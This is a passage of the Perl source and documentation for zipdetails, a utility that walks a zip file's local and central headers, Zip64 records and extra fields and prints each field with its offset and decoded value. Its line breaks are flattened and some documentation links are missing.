@CentralDirectory }; # print "LocalHeader loc $loc CDL $CDcompressedLength\n"; # TODO - add test to check that the loc from central header matches out_C "Extract Zip Spec", \&decodeZipVer; out_C "Extract OS", \&decodeOS; my ($bgp, $gpFlag) = read_v(); my ($bcm, $compressedMethod) = read_v(); out $bgp, "General Purpose Flag", Value_v($gpFlag) ; GeneralPurposeBits($compressedMethod, $gpFlag); out $bcm, "Compression Method", compressionMethod($compressedMethod) ; out_V "Last Mod Time", sub { scalar getTime(_dosToUnixTime($_[0])) }; my $crc = out_V "CRC"; my $compressedLength = out_V "Compressed Length"; my $uncompressedLength = out_V "Uncompressed Length"; my $filenameLength = out_v "Filename Length"; my $extraLength = out_v "Extra Length"; my $filename ; myRead($filename, $filenameLength); out $filename, "Filename", "'". $filename . "'"; my $cl64 = new U64 $compressedLength ; my %ExtraContext = (); if ($extraLength) { my @z64 = ($uncompressedLength, $compressedLength, 1, 1); $ExtraContext{Zip64} = \@z64 ; $ExtraContext{InCentralDir} = 0; walkExtra($extraLength, \%ExtraContext); } my $size = 0; $size = printAes(\%ExtraContext) if $compressedMethod == 99 ; $size += printLzmaProperties() if $compressedMethod == ZIP_CM_LZMA ; # $CDcompressedLength->subtract($size) # if $size ; $CDcompressedLength -= $size; # if ($CDcompressedLength->getHigh() || $CDcompressedLength->getLow()) { if ($CDcompressedLength) { outSomeData($CDcompressedLength, "PAYLOAD") ; } if ($compressedMethod == 99) { my $auth ; myRead($auth, 10); out $auth, "AES Auth", hexDump($auth); } } sub CentralHeader { my $signature = shift ; my $data = shift ; ++ $CentralHeaderCount; print "\n"; out $data, "CENTRAL HEADER #" . sprintf("%X", $CentralHeaderCount) . "", Value_V($signature); my $buffer; out_C "Created Zip Spec", \&decodeZipVer; out_C "Created OS", \&decodeOS; out_C "Extract Zip Spec", \&decodeZipVer; out_C "Extract OS", \&decodeOS; my ($bgp, $gpFlag) = read_v(); my ($bcm, $compressedMethod) = read_v(); out $bgp, "General Purpose Flag", Value_v($gpFlag) ; GeneralPurposeBits($compressedMethod, $gpFlag); out $bcm, "Compression Method", compressionMethod($compressedMethod) ; out_V "Last Mod Time", sub { scalar getTime(_dosToUnixTime($_[0])) }; my $crc = out_V "CRC"; my $compressedLength = out_V "Compressed Length"; my $uncompressedLength = out_V "Uncompressed Length"; my $filenameLength = out_v "Filename Length"; my $extraLength = out_v "Extra Length"; my $comment_length = out_v "Comment Length"; my $disk_start = out_v "Disk Start"; my $int_file_attrib = out_v "Int File Attributes"; out1 "[Bit 0]", $int_file_attrib & 1 ? "1 Text Data" : "0 'Binary Data'"; my $ext_file_attrib = out_V "Ext File Attributes"; out1 "[Bit 0]", "Read-Only" if $ext_file_attrib & 0x01 ; out1 "[Bit 1]", "Hidden" if $ext_file_attrib & 0x02 ; out1 "[Bit 2]", "System" if $ext_file_attrib & 0x04 ; out1 "[Bit 3]", "Label" if $ext_file_attrib & 0x08 ; out1 "[Bit 4]", "Directory" if $ext_file_attrib & 0x10 ; out1 "[Bit 5]", "Archive" if $ext_file_attrib & 0x20 ; my $lcl_hdr_offset = out_V "Local Header Offset"; my $filename ; myRead($filename, $filenameLength); out $filename, "Filename", "'". $filename . "'"; my %ExtraContext = (); if ($extraLength) { my @z64 = ($uncompressedLength, $compressedLength, $lcl_hdr_offset, $disk_start); $ExtraContext{Zip64} = \@z64 ; $ExtraContext{InCentralDir} = 1; walkExtra($extraLength, \%ExtraContext); } if ($comment_length) { my $comment ; myRead($comment, $comment_length); out $comment, "Comment", "'". $comment . "'"; } } sub decodeZipVer { my $ver = shift ; my $sHi = int($ver /10) ; my $sLo = $ver % 10 ; #out1 "Zip Spec", "$sHi.$sLo"; "$sHi.$sLo"; } sub decodeOS { my $ver = shift ; $OS_Lookup{$ver} || "Unknown" ; } sub Zip64EndCentralHeader { my $signature = shift ; my $data = shift ; print "\n"; out $data, "ZIP64 END CENTRAL DIR RECORD", Value_V($signature); my $buff; myRead($buff, 8); out $buff, "Size of record", unpackValue_VV($buff); my $size = Value_VV64($buff); out_C "Created Zip Spec", \&decodeZipVer; out_C "Created OS", \&decodeOS; out_C "Extract Zip Spec", \&decodeZipVer; out_C "Extract OS", \&decodeOS; out_V "Number of this disk"; out_V "Central Dir Disk no"; out_VV "Entries in this disk"; out_VV "Total Entries"; out_VV "Size of Central Dir"; out_VV "Offset to Central dir"; # TODO - die "Unsupported Size ($size) in Zip64EndCentralHeader\n" if $size != 44; } sub Zip64EndCentralLocator { my $signature = shift ; my $data = shift ; print "\n"; out $data, "ZIP64 END CENTRAL DIR LOCATOR", Value_V($signature); out_V "Central Dir Disk no"; out_VV "Offset to Central dir"; out_V "Total no of Disks"; } sub EndCentralHeader { my $signature = shift ; my $data = shift ; print "\n"; out $data, "END CENTRAL HEADER", Value_V($signature); out_v "Number of this disk"; out_v "Central Dir Disk no"; out_v "Entries in this disk"; out_v "Total Entries"; out_V "Size of Central Dir"; out_V "Offset to Central Dir"; my $comment_length = out_v "Comment Length"; if ($comment_length) { my $comment ; myRead($comment, $comment_length); out $comment, "Comment", "'$comment'"; } } sub DataHeader { my $signature = shift ; my $data = shift ; print "\n"; out $data, "STREAMING DATA HEADER", Value_V($signature); out_V "CRC"; if ($ZIP64) { out_VV "Compressed Length" ; out_VV "Uncompressed Length" ; } else { out_V "Compressed Length" ; out_V "Uncompressed Length" ; } } sub GeneralPurposeBits { my $method = shift; my $gp = shift; out1 "[Bit 0]", "1 'Encryption'" if $gp & ZIP_GP_FLAG_ENCRYPTED_MASK; my %lookup = ( 0 => "Normal Compression", 1 => "Maximum Compression", 2 => "Fast Compression", 3 => "Super Fast Compression"); if ($method == ZIP_CM_DEFLATE) { my $mid = $gp & 0x03; out1 "[Bits 1-2]", "$mid '$lookup{$mid}'"; } if ($method == ZIP_CM_LZMA) { if ($gp & ZIP_GP_FLAG_LZMA_EOS_PRESENT) { out1 "[Bit 1]", "1 'LZMA EOS Marker Present'" ; } else { out1 "[Bit 1]", "0 'LZMA EOS Marker Not Present'" ; } } if ($method == ZIP_CM_IMPLODE) # Imploding { out1 "[Bit 1]", ($gp & 1 ? "1 '8k" : "0 '4k") . " Sliding Dictionary'" ; out1 "[Bit 2]", ($gp & 2 ? "1 '3" : "0 '2" ) . " Shannon-Fano Trees'" ; } out1 "[Bit 3]", "1 'Streamed'" if $gp & ZIP_GP_FLAG_STREAMING_MASK; out1 "[Bit 4]", "1 'Enhanced Deflating'" if $gp & 1 << 4; out1 "[Bit 5]", "1 'Compressed Patched'" if $gp & 1 << 5 ; out1 "[Bit 6]", "1 'Strong Encryption'" if $gp & ZIP_GP_FLAG_STRONG_ENCRYPTED_MASK; out1 "[Bit 11]", "1 'Language Encoding'" if $gp & ZIP_GP_FLAG_LANGUAGE_ENCODING; out1 "[Bit 12]", "1 'Pkware Enhanced Compression'" if $gp & 1 <<12 ; out1 "[Bit 13]", "1 'Encrypted Central Dir'" if $gp & 1 <<13 ; return (); } sub seekSet { my $fh = $_[0] ; my $size = $_[1]; use Fcntl qw(SEEK_SET); if (ref $size eq 'U64') { seek($fh, $size->get64bit(), SEEK_SET); } else { seek($fh, $size, SEEK_SET); } } sub skip { my $fh = $_[0] ; my $size = $_[1]; use Fcntl qw(SEEK_CUR); if (ref $size eq 'U64') { seek($fh, $size->get64bit(), SEEK_CUR); } else { seek($fh, $size, SEEK_CUR); } } sub myRead { my $got = \$_[0] ; my $size = $_[1]; my $wantSize = $size; $$got = ''; if ($size == 0) { return ; } if ($size > 0) { my $buff ; my $status = $FH->read($buff, $size); return $status if $status < 0; $$got .= $buff ; } my $len = length $$got; die "Truncated file (got $len, wanted $wantSize): $!\n" if length $$got != $wantSize; } sub walkExtra { my $XLEN = shift; my $context = shift; my $buff ; my $offset = 0 ; my $id; my $subLen; my $payload ; my $count = 0 ; if ($XLEN < ZIP_EXTRA_SUBFIELD_ID_SIZE + ZIP_EXTRA_SUBFIELD_LEN_SIZE) { # Android zipalign is prime candidate for this non-standard extra field. myRead($payload, $XLEN); my $data = hexDump($payload); out $payload, "Malformed Extra Data", $data; return undef; } while ($offset < $XLEN) { ++ $count; return undef if $offset + ZIP_EXTRA_SUBFIELD_HEADER_SIZE > $XLEN ; myRead($id, ZIP_EXTRA_SUBFIELD_ID_SIZE); $offset += ZIP_EXTRA_SUBFIELD_ID_SIZE; my $lookID = unpack "v", $id ; my ($who, $decoder) = @{ defined $Extras{$lookID} ? $Extras{$lookID} : ['', undef] }; #my ($who, $decoder) = @{ $Extras{unpack "v", $id} || ['', undef] }; $who = "$id: $who" if $id =~ /\w\w/ ; $who = "'$who'"; out $id, "Extra ID #" . Value_v($count), unpackValue_v($id) . " $who" ; myRead($buff, ZIP_EXTRA_SUBFIELD_LEN_SIZE); $offset += ZIP_EXTRA_SUBFIELD_LEN_SIZE; $subLen = unpack("v", $buff); out2 $buff, "Length", Value_v($subLen) ; return undef if $offset + $subLen > $XLEN ; if (! defined $decoder) { myRead($payload, $subLen); my $data = hexDump($payload); out2 $payload, "Extra Payload", $data; } else { $decoder->($subLen, $context) ; } $offset += $subLen ; } return undef ; } sub full32 { return $_[0] == 0xFFFFFFFF ; } sub decode_Zip64 { my $len = shift; my $context = shift; my $z64Data = $context->{Zip64}; $ZIP64 = 1; if (full32 $z64Data->[0] ) { out_VV " Uncompressed Size"; } if (full32 $z64Data->[1] ) { out_VV " Compressed Size"; } if (full32 $z64Data->[2] ) { out_VV " Offset to Local Dir"; } if ($z64Data->[3] == 0xFFFF ) { out_V " Disk Number"; } } sub Ntfs2Unix { my $v = shift; my $u64 = shift; # NTFS offset is 19DB1DED53E8000 my $hex = Value_U64($u64) ; my $NTFS_OFFSET = new U64 0x19DB1DE, 0xD53E8000 ; $u64->subtract($NTFS_OFFSET); my $elapse = $u64->get64bit(); my $ns = ($elapse % 10000000) * 100; $elapse = int ($elapse/10000000); return "$hex '" . localtime($elapse) . " " . sprintf("%0dns'", $ns); } sub decode_NTFS_Filetimes { my $len = shift; my $context = shift; out_V " Reserved"; out_v " Tag1"; out_v " Size1" ; my ($m, $s1) = read_U64; out $m, " Mtime", Ntfs2Unix($m, $s1); my ($c, $s2) = read_U64; out $c, " Ctime", Ntfs2Unix($m, $s2); my ($a, $s3) = read_U64; out $m, " Atime", Ntfs2Unix($m, $s3); } sub getTime { my $time = shift ; return "'" . localtime($time) . "'" ; } sub decode_UT { my $len = shift; my $context = shift; my ($data, $flags) = read_C(); my $f = Value_C $flags; $f .= " mod" if $flags & 1; $f .= " access" if $flags & 2; $f .= " change" if $flags & 4; out $data, " Flags", "'$f'"; -- $len; if ($flags & 1) { my ($data, $time) = read_V(); out2 $data, "Mod Time", Value_V($time) . " " . getTime($time) ; $len -= 4 ; } if ($flags & 2 && $len > 0 ) { my ($data, $time) = read_V(); out2 $data, "Access Time", Value_V($time) . " " . getTime($time) ; $len -= 4 ; } if ($flags & 4 && $len > 0) { my ($data, $time) = read_V(); out2 $data, "Change Time", Value_V($time) . " " . getTime($time) ; } } sub decode_AES { my $len = shift; my $context = shift; return if $len == 0 ; my %lookup = ( 1 => "AE-1", 2 => "AE-2"); out_v " Vendor Version", sub { $lookup{$_[0]} || "Unknown" } ; my $id ; myRead($id, 2); out $id, " Vendor ID", unpackValue_v($id) . " '$id'"; my %strengths = (1 => "128-bit encryption key", 2 => "192-bit encryption key", 3 => "256-bit encryption key", ); my $strength = out_C " Encryption Strength", sub {$strengths{$_[0]} || "Unknown" } ; my ($bmethod, $method) = read_v(); out $bmethod, " Compression Method", compressionMethod($method) ; $context->{AesStrength} = $strength ; } sub decode_UX { my $len = shift; my $context = shift; my $inCentralHdr = $context->{InCentralDir} ; return if $len == 0 ; my ($data, $time) = read_V(); out2 $data, "Access Time", Value_V($time) . " " . getTime($time) ; ($data, $time) = read_V(); out2 $data, "Mod Time", Value_V($time) . " " . getTime($time) ; if (! $inCentralHdr ) { out_v " UID" ; out_v " GID"; } } sub decode_Ux { my $len = shift; my $context = shift; return if $len == 0 ; out_v " UID" ; out_v " GID"; } sub decodeLitteEndian { my $value = shift ; if (length $value == 4) { return Value_V unpack ("V", $value) } else { # TODO - fix this die "unsupported\n"; } my $got = 0 ; my $shift = 0; #hexDump #reverse #my @a =unpack "C*", $value; #@a = reverse @a; #hexDump(@a); for (reverse unpack "C*", $value) { $got = ($got << 8) + $_ ; } return $got ; } sub decode_ux { my $len = shift; my $context = shift; return if $len == 0 ; out_C " Version" ; my $uidSize = out_C " UID Size"; myRead(my $data, $uidSize); out2 $data, "UID", decodeLitteEndian($data); my $gidSize = out_C " GID Size"; myRead($data, $gidSize); out2 $data, "GID", decodeLitteEndian($data); } sub decode_Java_exe { my $len = shift; my $context = shift; } sub decode_up { my $len = shift; my $context = shift; out_C " Version"; out_V " NameCRC32"; myRead(my $data, $len - 5); out $data, " UnicodeName", $data; } sub decode_Xceed_unicode { my $len = shift; my $context = shift; my $data ; # guess the fields used for this one myRead($data, 4); out $data, " ID", $data; out_v " Length"; out_v " Null"; myRead($data, $len - 8); out $data, " UTF16LE Name", decode("UTF16LE", $data); } sub decode_NT_security { my $len = shift; my $context = shift; my $inCentralHdr = $context->{InCentralDir} ; out_V " Uncompressed Size" ; if (! $inCentralHdr) { out_C " Version" ; out_v " Type"; out_V " NameCRC32" ; my $plen = $len - 4 - 1 - 2 - 4; myRead(my $payload, $plen); out $plen, " Extra Payload", hexDump($payload); } } sub decodeMVS { my $len = shift; my $context = shift; # data in Big-Endian myRead(my $data, $len); my $ID = unpack("N", $data); if ($ID == 0xE9F3F9F0) { out($data, " ID", "'Z390'"); substr($data, 0, 4) = ''; } out($data, " Extra Payload", hexDump($data)); } sub printAes { my $context = shift ; my %saltSize = ( 1 => 8, 2 => 12, 3 => 16, ); myRead(my $salt, $saltSize{$context->{AesStrength} }); out $salt, "AES Salt", hexDump($salt); myRead(my $pwv, 2); out $pwv, "AES Pwd Ver", hexDump($pwv); return $saltSize{$context->{AesStrength}} + 2 + 10; } sub printLzmaProperties { my $len = 0; my $b1; my $b2; my $buffer; myRead($b1, 2); my ($verHi, $verLow) = unpack ("CC", $b1); out $b1, "LZMA Version", sprintf("%02X%02X", $verHi, $verLow) . " '$verHi.$verLow'"; my $LzmaPropertiesSize = out_v "LZMA Properties Size"; $len += 4; my $LzmaInfo = out_C "LZMA Info", sub { $_[0] == 93 ? "(Default)" : ""}; my $PosStateBits = 0; my $LiteralPosStateBits = 0; my $LiteralContextBits = 0; $PosStateBits = int($LzmaInfo / (9 * 5)); $LzmaInfo -= $PosStateBits * 9 * 5; $LiteralPosStateBits = int($LzmaInfo / 9); $LiteralContextBits = $LzmaInfo - $LiteralPosStateBits * 9; out1 " PosStateBits", $PosStateBits; out1 " LiteralPosStateBits", $LiteralPosStateBits; out1 " LiteralContextBits", $LiteralContextBits; out_V "LZMA Dictionary Size"; # TODO - assumption that this is 5 $len += $LzmaPropertiesSize; skip($FH, $LzmaPropertiesSize - 5) if $LzmaPropertiesSize != 5 ; return $len; } sub scanCentralDirectory { my $fh = shift; my $here = $fh->tell(); # Use cases # 1 32-bit CD # 2 64-bit CD my @CD = (); my $offset = findCentralDirectoryOffset($fh); return () if ! defined $offset; $fh->seek($offset, SEEK_SET) ; # Now walk the Central Directory Records my $buffer ; while ($fh->read($buffer, 46) == 46 && unpack("V", $buffer) == ZIP_CENTRAL_HDR_SIG) { my $compressedLength = unpack("V", substr($buffer, 20, 4)); my $uncompressedLength = unpack("V", substr($buffer, 24, 4)); my $filename_length = unpack("v", substr($buffer, 28, 2)); my $extra_length = unpack("v", substr($buffer, 30, 2)); my $comment_length = unpack("v", substr($buffer, 32, 2)); my $locHeaderOffset = unpack("V", substr($buffer, 42, 4)); $START = $locHeaderOffset if ! defined $START; skip($fh, $filename_length ) ; if ($extra_length) { $fh->read(my $extraField, $extra_length) ; # $self->smartReadExact(\$extraField, $extra_length); # Check for Zip64 # my $zip64Extended = findID("\x01\x00", $extraField); my $zip64Extended = findID(0x0001, $extraField); if ($zip64Extended) { if ($uncompressedLength == 0xFFFFFFFF) { $uncompressedLength = Value_VV64 substr($zip64Extended, 0, 8, ""); # $uncompressedLength = unpack "Q<", substr($zip64Extended, 0, 8, ""); } if ($compressedLength == 0xFFFFFFFF) { $compressedLength = Value_VV64 substr($zip64Extended, 0, 8, ""); # $compressedLength = unpack "Q<", substr($zip64Extended, 0, 8, ""); } if ($locHeaderOffset == 0xFFFFFFFF) { $locHeaderOffset = Value_VV64 substr($zip64Extended, 0, 8, ""); # $locHeaderOffset = unpack "Q<", substr($zip64Extended, 0, 8, ""); } } } my $got = [$locHeaderOffset, $compressedLength] ; # my $v64 = new U64 $compressedLength ; # my $loc64 = new U64 $locHeaderOffset ; # my $got = [$loc64, $v64] ; # if (full32 $compressedLength || full32 $locHeaderOffset) { # $fh->read($buffer, $extra_length) ; # # TODO - fix this # die "xxx $offset $comment_length $filename_length $extra_length" . length($buffer) # if length($buffer) != $extra_length; # $got = get64Extra($buffer, full32($uncompressedLength), # $v64, # $loc64); # # If not Zip64 extra field, assume size is 0xFFFFFFFF # #$v64 = $got if defined $got; # } # else { # skip($fh, $extra_length) ; # } skip($fh, $comment_length ) ; push @CD, $got ; } $fh->seek($here, SEEK_SET) ; # @CD = sort { $a->[0]->cmp($b->[0]) } @CD ; @CD = sort { $a->[0] <=> $b->[0] } @CD ; return (1, @CD); } sub offsetFromZip64 { my $fh = shift ; my $here = shift; $fh->seek($here - 20, SEEK_SET) # TODO - fix this or die "xx $!" ; my $buffer; my $got = 0; ($got = $fh->read($buffer, 20)) == 20 # TODO - fix this or die "xxx $here $got $!" ; if ( unpack("V", $buffer) == ZIP64_END_CENTRAL_LOC_HDR_SIG ) { my $cd64 = Value_VV64 substr($buffer, 8, 8); $fh->seek($cd64, SEEK_SET) ; $fh->read($buffer, 4) == 4 # TODO - fix this or die "xxx" ; if ( unpack("V", $buffer) == ZIP64_END_CENTRAL_REC_HDR_SIG ) { $fh->read($buffer, 8) == 8 # TODO - fix this or die "xxx" ; my $size = Value_VV64($buffer); $fh->read($buffer, $size) == $size # TODO - fix this or die "xxx" ; my $cd64 = Value_VV64 substr($buffer, 36, 8); return $cd64 ; } # TODO - fix this die "zzz"; } # TODO - fix this die "zzz"; } use constant Pack_ZIP_END_CENTRAL_HDR_SIG => pack("V", ZIP_END_CENTRAL_HDR_SIG); sub findCentralDirectoryOffset { my $fh = shift ; # Most common use-case is where there is no comment, so # know exactly where the end of central directory record # should be. $fh->seek(-22, SEEK_END) ; my $here = $fh->tell(); my $buffer; $fh->read($buffer, 22) == 22 # TODO - fix this or die "xxx" ; my $zip64 = 0; my $centralDirOffset ; if ( unpack("V", $buffer) == ZIP_END_CENTRAL_HDR_SIG ) { $centralDirOffset = unpack("V", substr($buffer, 16, 4)); } else { $fh->seek(0, SEEK_END) ; my $fileLen = $fh->tell(); my $want = 0 ; while(1) { $want += 1024 * 32; my $seekTo = $fileLen - $want; if ($seekTo < 0 ) { $seekTo = 0; $want = $fileLen ; } $fh->seek( $seekTo, SEEK_SET) # TODO - fix this or die "xxx $!" ; my $got; ($got = $fh->read($buffer, $want)) == $want # TODO - fix this or die "xxx $got $!" ; my $pos = rindex( $buffer, Pack_ZIP_END_CENTRAL_HDR_SIG); if ($pos >= 0 && $want - $pos > 22) { $here = $seekTo + $pos ; $centralDirOffset = unpack("V", substr($buffer, $pos + 16, 4)); my $commentLength = unpack("V", substr($buffer, $pos + 20, 2)); $commentLength = 0 if ! defined $commentLength ; my $expectedEof = $fileLen - $want + $pos + 22 + $commentLength ; # check for trailing data after end of zip if ($expectedEof < $fileLen ) { $TRAILING = $expectedEof ; } last ; } return undef if $want == $fileLen; } } $centralDirOffset = offsetFromZip64($fh, $here) if full32 $centralDirOffset ; return $centralDirOffset ; } sub findID { my $id_want = shift ; my $data = shift; my $XLEN = length $data ; my $offset = 0 ; while ($offset < $XLEN) { return undef if $offset + ZIP_EXTRA_SUBFIELD_HEADER_SIZE > $XLEN ; my $id = substr($data, $offset, ZIP_EXTRA_SUBFIELD_ID_SIZE); $id = unpack("v", $id); $offset += ZIP_EXTRA_SUBFIELD_ID_SIZE; my $subLen = unpack("v", substr($data, $offset, ZIP_EXTRA_SUBFIELD_LEN_SIZE)); $offset += ZIP_EXTRA_SUBFIELD_LEN_SIZE ; return undef if $offset + $subLen > $XLEN ; return substr($data, $offset, $subLen) if $id eq $id_want ; $offset += $subLen ; } return undef ; } sub _dosToUnixTime { my $dt = shift; my $year = ( ( $dt >> 25 ) & 0x7f ) + 80; my $mon = ( ( $dt >> 21 ) & 0x0f ) - 1; my $mday = ( ( $dt >> 16 ) & 0x1f ); my $hour = ( ( $dt >> 11 ) & 0x1f ); my $min = ( ( $dt >> 5 ) & 0x3f ); my $sec = ( ( $dt << 1 ) & 0x3e ); use POSIX 'mktime'; my $time_t = mktime( $sec, $min, $hour, $mday, $mon, $year, 0, 0, -1 ); return 0 if ! defined $time_t; return $time_t; } { package U64; use constant MAX32 => 0xFFFFFFFF ; use constant HI_1 => MAX32 + 1 ; use constant LOW => 0 ; use constant HIGH => 1; sub new { my $class = shift ; my $high = 0 ; my $low = 0 ; if (@_ == 2) { $high = shift ; $low = shift ; } elsif (@_ == 1) { $low = shift ; } bless [$low, $high], $class; } sub newUnpack_V64 { my $string = shift; my ($low, $hi) = unpack "V V", $string ; bless [ $low, $hi ], "U64"; } sub newUnpack_V32 { my $string = shift; my $low = unpack "V", $string ; bless [ $low, 0 ], "U64"; } sub reset { my $self = shift; $self->[HIGH] = $self->[LOW] = 0; } sub clone { my $self = shift; bless [ @$self ], ref $self ; } sub mkU64 { my $value = shift; return $value if ref $value eq 'U64'; bless [ $value, 0 ], "U64" ; } sub getHigh { my $self = shift; return $self->[HIGH]; } sub getLow { my $self = shift; return $self->[LOW]; } sub get32bit { my $self = shift; return $self->[LOW]; } sub get64bit { my $self = shift; # Not using << here because the result will still be # a 32-bit value on systems where int size is 32-bits return $self->[HIGH] * HI_1 + $self->[LOW]; } sub add { my $self = shift; my $value = shift; if (ref $value eq 'U64') { $self->[HIGH] += $value->[HIGH] ; $value = $value->[LOW]; } my $available = MAX32 - $self->[LOW] ; if ($value > $available) { ++ $self->[HIGH] ; $self->[LOW] = $value - $available - 1; } else { $self->[LOW] += $value ; } } sub subtract { my $self = shift; my $value = shift; if (ref $value eq 'U64') { if ($value->[HIGH]) { die "unsupport subtract option" if $self->[HIGH] == 0 || $value->[HIGH] > $self->[HIGH] ; $self->[HIGH] -= $value->[HIGH] ; } $value = $value->[LOW] ; } if ($value > $self->[LOW]) { -- $self->[HIGH] ; $self->[LOW] = MAX32 - $value + $self->[LOW] + 1; } else { $self->[LOW] -= $value; } } sub rshift { my $self = shift; my $count = shift; for (1 .. $count) { $self->[LOW] >>= 1; $self->[LOW] |= 0x80000000 if $self->[HIGH] & 1 ; $self->[HIGH] >>= 1; } } sub is64bit { my $self = shift; return $self->[HIGH] > 0 ; } sub getPacked_V64 { my $self = shift; return pack "V V", @$self ; } sub getPacked_V32 { my $self = shift; return pack "V", $self->[LOW] ; } sub pack_V64 { my $low = shift; return pack "V V", $low, 0; } sub max32 { my $self = shift; return $self->[HIGH] == 0 && $self->[LOW] == MAX32; } sub stringify { my $self = shift; return "High [$self->[HIGH]], Low [$self->[LOW]]"; } sub equal { my $self = shift; my $other = shift; return $self->[LOW] == $other->[LOW] && $self->[HIGH] == $other->[HIGH] ; } sub gt { my $self = shift; my $other = shift; return $self->cmp($other) > 0 ; } sub cmp { my $self = shift; my $other = shift ; if ($self->[LOW] == $other->[LOW]) { return $self->[HIGH] - $other->[HIGH] ; } else { return $self->[LOW] - $other->[LOW] ; } } sub nibbles { my @nibbles = ( [ 16 => HI_1 * 0x10000000 ], [ 15 => HI_1 * 0x1000000 ], [ 14 => HI_1 * 0x100000 ], [ 13 => HI_1 * 0x10000 ], [ 12 => HI_1 * 0x1000 ], [ 11 => HI_1 * 0x100 ], [ 10 => HI_1 * 0x10 ], [ 9 => HI_1 * 0x1 ], [ 8 => 0x10000000 ], [ 7 => 0x1000000 ], [ 6 => 0x100000 ], [ 5 => 0x10000 ], [ 4 => 0x1000 ], [ 3 => 0x100 ], [ 2 => 0x10 ], [ 1 => 0x1 ], ); my $value = shift ; for my $pair (@nibbles) { my ($count, $limit) = @{ $pair }; return $count if $value >= $limit ; } } } sub Usage { die < for details). =head2 OPTIONS =over 5 =item -v Enable Verbose mode =item -h Display help =back By default zipdetails will output the details of the zip file in three columns. =over 5 =item Column 1 This contains the offset from the start of the file in hex. =item Column 2 This contains a textual description of the field. =item Column 3 If the field contains a numeric value it will be displayed in hex. Zip stored most numbers in little-endian format - the value displayed will have the little-endian encoding removed. Next, is an optional description of what the value means. =back If the C<-v> option is present, column 1 is expanded to include =over 5 =item * The offset from the start of the file in hex. =item * The length of the filed in hex. =item * A hex dump of the bytes in field in the order they are stored in the zip file. =back =head1 TODO Error handling is still a work in progress. If the program encounters a problem reading a zip file it is likely to terminate with an unhelpful error message. =head1 SUPPORT General feedback/questions/bug reports should be sent to L (preferred) or L. =head1 SEE ALSO The primary reference for Zip files is the "appnote" document available at L. An alternative reference is the Info-Zip appnote. This is available from L The C program that comes with the info-zip distribution (L) can also display details of the structure of a zip file. See also L, L, L. =head1 AUTHOR Paul Marquess F. =head1 COPYRIGHT Copyright (c) 2011-2019 Paul Marquess. All rights reserved. This program is free software; you can redistribute it and/or modify it under the same terms as Perl itself.